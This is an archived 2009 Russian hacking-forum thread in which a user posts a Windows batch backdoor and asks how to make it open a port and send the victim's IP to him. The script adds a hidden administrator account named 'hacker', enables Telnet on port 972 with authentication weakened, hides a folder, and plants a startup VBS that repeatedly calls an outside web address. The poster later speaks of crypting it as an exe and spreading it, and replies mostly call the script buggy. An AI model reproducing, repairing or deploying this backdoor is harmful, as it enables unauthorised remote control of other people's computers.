PDA

Просмотр полной версии : Бат вирус!!!будут открывать или нет


SDF
16.08.2009, 23:46
Если вот этот батник запулить он откроет телнет или 445 порт на компе? Если нет подскажите что поменять наддо чтоб открывал и давал доступ на вход и отсылал ip на мыло ?!!

Вот сам код

chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
regedit /s conf.reg
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet
chcp 1251
MD "%SystemRoot%\123123\"
attrib "%SystemRoot%\123123" +h +s
echo Set oHTTP = WScript.CreateObject("winhttp.winhttprequest.5.1") > "%SystemRoot%\123123\123.vbs"
echo iPeriod = 666 >> "%SystemRoot%\123123\123.vbs"
echo sSource = "http://твойсайт.ru/mail.php" >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo While 1 >> "%SystemRoot%\123123\123.vbs"
echo WScript.Sleep 300000 >> "%SystemRoot%\123123\123.vbs"
echo If (Timer - iTimer) * 777 Then >> "%SystemRoot%\123123\123.vbs"
echo oHTTP.open "GET", sSource, False >> "%SystemRoot%\123123\123.vbs"
echo on error resume next >> "%SystemRoot%\123123\123.vbs"
echo oHTTP.send >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo End If >> "%SystemRoot%\123123\123.vbs"
echo WEnd >> "%SystemRoot%\123123\123.vbs"
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run" /v 123 /t REG_SZ /d %SystemRoot%\123123\123.vbs /f
start "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\123" %SystemRoot%\123123\123.vbs
pause

Stalingrad
17.08.2009, 11:43
1.zdesi otkroetsea 972 port dlea dostupa po telnet k kompiuteru na kotorom zapustish eto.
2.pocitai spavochnik comandnoi stroki dlea windows xp i tebe stanet poneatno sto zdesi proishodit
3.na antichate cerez poisk naidi "telnet" tam vsio napisana kuda i kak, prosto etot batnik to so ti dal te osobo ne pomojet bez nebolsogo FAQ, on napisan krivo naskoruiu ruku

SDF
17.08.2009, 18:24
не хрена он не открывает ))) я проверял он не работает и не че не открывает ппц просто :confused:

paste
17.08.2009, 18:59
Сначала изучи теорию хотя бы слегка, и станет все более менее понятно..

SDF
18.08.2009, 02:16
Изучи то изучи это ппц просто я одного не понисмаю зачем содрагать воздух если не можешь помочь а "рульлный ответ" типа те надо почитать то или это как буд то не кто без вас этого не знает просто терять время на то что кто то может подсказать за 5 минут и дело не в лени и не желание учить!!!
paste так что не содрагай воздух предложениями)))
$Atlet$ и да я бат флудер))) мне просто нужен здравый ответ от здравого человека который шарит и может хотя бы намекнуть ВОТ ПОЧЕМУ ЭТА ТЕМА НА ФОРУМАХ

"$Atlet$ ВЕЗДЕ ПОЛНО СОДРАГАТЕЛЕЙ ВОЗДУХА КОТОРЫЕ САМИ ДУМАЮТ ЧТО ЧТО ТО ЗНАЮТ А ОТВЕЧАЮТ ПОВЕРХНОСНО

paste
18.08.2009, 13:35
что толку то, если тебе подскажут, а ты все равно не шаришь ни капли..
получишь ты свой заветный ип, а дальше делать то что будешь?
если ты в батнике даже разобраться не можешь сам..
беда-_-

SDF
18.08.2009, 15:02
МНЕ один ип нахер не нужен ты прочитай внимательней там написано сочетание 2Х ФУНКЦИЙ НО ГЛАВНОЕ ОТКРЫТИЕ ПОРТА!!!!!!!!!!!!!

paste
19.08.2009, 13:03
ты своим вопросом про 445 порт всем дал понять, что из нижеследующих строчек, ты ни в одну не втыкаешь;о

утомил, ухожу...

Ali_MiX
19.08.2009, 13:12
%SystemRoot%\123123\123.vbs
в студию

Nobody4alj
21.08.2009, 08:08
Ali_MiX

Ты вообще о чём? Это тупо копируються строки в файл 123.vbs в деррикторию винды системс32
зы
я на хпк (http://hacker-pro.net/forum/showthread.php?t=4898) писал как и что делать

ghostwizard
21.08.2009, 10:42
1. Скрипт не работает с 445 портом. Служба телнет открывается на 972 порту, тебе сказали с самого начала.
2. Хоть я visual basic не знаю, я не вижу ничего, что он бы отдавал скрипты на php, а если и отправляет, то не понятно что именно. ИМХО, что-то пропущено.
3. Изучи свой скрипт, пойми как он работает.

Не стоит думать, что все ринутся тебе все разжевывать. Ты нашел инструмент, но не знаешь как им пользоваться, а раз не знаешь и, главное, не хочешь знать, то этот инструмент тебе не подходит.

SDF
21.08.2009, 15:22
че вы паритесь там надо файлик создать conf.reg и проще перевести в ехе и его можно криптонуть и в парить !!!!
ппц не одного здравого ответа я так и не услышал GOOGLE РУЛИТ!!ТАМ ПРОШЕ ПОЛУЧИТЬ ОТВЕТ ЧЕМ НА ФОРУМЕ)))

SDF
21.08.2009, 15:25
ghostwizard ты думаешь зачем форумы чтоб приходили и учились читали и им подказывали что не так и как поступить а не ТУПО ПИСАТЬ ОТПИСКИ :
1)Мне в лом
2)учись сам тебе же надо!!!! ( да???
ghostwizard!! )
тогда обьясни понт форума если все отписки дают??? ( только один в теме дал здраввый ответ )

Huster
27.08.2009, 15:28
SDF, ты не прав. Я задавал здесь НОРМАЛЬНЫЕ вопросы и получал НОРМАЛЬНЫЕ ответы. Твой скрипт кривой.. а "доделать" я его не могу так как не знаю vbs. А вообще предлагаю сделать так как делал я :)
Сначала читал вот эту статью... СТАТЬЯ ! (http://www.fssr.ru/hz.php?name=News&file=article&sid=8820) . несколько раз прочитал чтоб все стало понятно, что где и зачем надо :)
Потом пару раз прочитал вот это Статья ! (http://www.forum.antichat.ru/threadnav84364-1-10.html) ...
Пототом сделал так как там было написано и у меня все получилось.:)
Так что .. мозг тебе в руки )

AlexTheC0d3r
27.08.2009, 23:19
ты не прав...ты прав....

почти ничего по делу и с толком